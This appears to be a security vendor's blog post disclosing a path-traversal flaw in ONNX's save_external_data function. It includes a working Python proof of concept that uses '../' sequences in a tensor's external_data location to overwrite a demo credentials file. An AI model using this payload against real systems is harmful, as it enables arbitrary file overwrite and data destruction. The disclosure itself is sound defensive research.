How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
We weren’t aware of the first finding posted on Huntr, and happy to retrospectively credit Micheal. Edit made on October 14th, 2025.
The library’s save_external_data function allows arbitrary file overwrite through path traversal. This allows attackers to craft malicious tensor data with specially constructed external_data paths using ”../” sequences to escape the intended directory and write to any location on the filesystem where the process has write permissions.
The vulnerability exists because the function does not validate or sanitize the user-controlled path before writing files. This vulnerability is similar to CVE-2024-5187, which affected the download_model_with_test_data function, but impacts a core functionality of ONNX.
tensor.external_data field, specifically in the location valuesave_external_data function in external_data_helper.pybase_path with user-controlled location:The function directly joins paths without validating, allowing path traversal via ../ sequences.
import os
import onnx
from onnx import TensorProto
from onnx.external_data_helper import save_external_data
print(f"ONNX version: {onnx.__version__}")
os.makedirs("/tmp/secure_data", exist_ok=True)
os.makedirs("/tmp/model_workspace", exist_ok=True)
# sensitive file
with open("/tmp/secure_data/credentials.txt", "w") as f:
f.write("api_key=secret123456789")
print(f"Before: {open('/tmp/secure_data/credentials.txt', 'r').read()}")
# model with path traversal
model = TensorProto()
model.raw_data = b"EXPLOITED" + b"X" * 10
location = model.external_data.add()
location.key = "location"
location.value = "../../../../../../../../tmp/secure_data/credentials.txt"
position = model.external_data.add()
position.key = "offset"
position.value = "0"
save_external_data(tensor=model, base_path="/tmp/model_workspace")
print(f"After: {open('/tmp/secure_data/credentials.txt', 'r').read()}")Running this code will overwrite the content of /tmp/secure_data/credentials.txt with “EXPLOITEDXXXXXXXXXX”.

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
See what actually changed in the OWASP Top 10 for 2026, from merged SSRF and XXE categories to new supply chain risks and scanner coverage gaps.
Jeevan Jutla
Gecko Security uncovered CVE-2026-21894 in August 2026, an n8n authorization bypass with CVSS 8.8. See why static tools missed it and how to remediate it.
Jeevan Jutla
Security misconfiguration is OWASP A05 for a reason. Learn how deployment context determines exploitability and how to fix gaps in August 2026.
Jeevan Jutla
How do modern AppSec vendors actually compare? This July 2026 capability map covers SAST, DAST, SCA, business logic flaws, and cross-service
Gecko Security
Break down your AppSec stack: what SAST, DAST, SCA, IAST, and pen testing each see — and what they miss. Updated July 2026 by Gecko Security.
Gecko Security
Occasional updates, new content, and insights. No spam; unsubscribe anytime.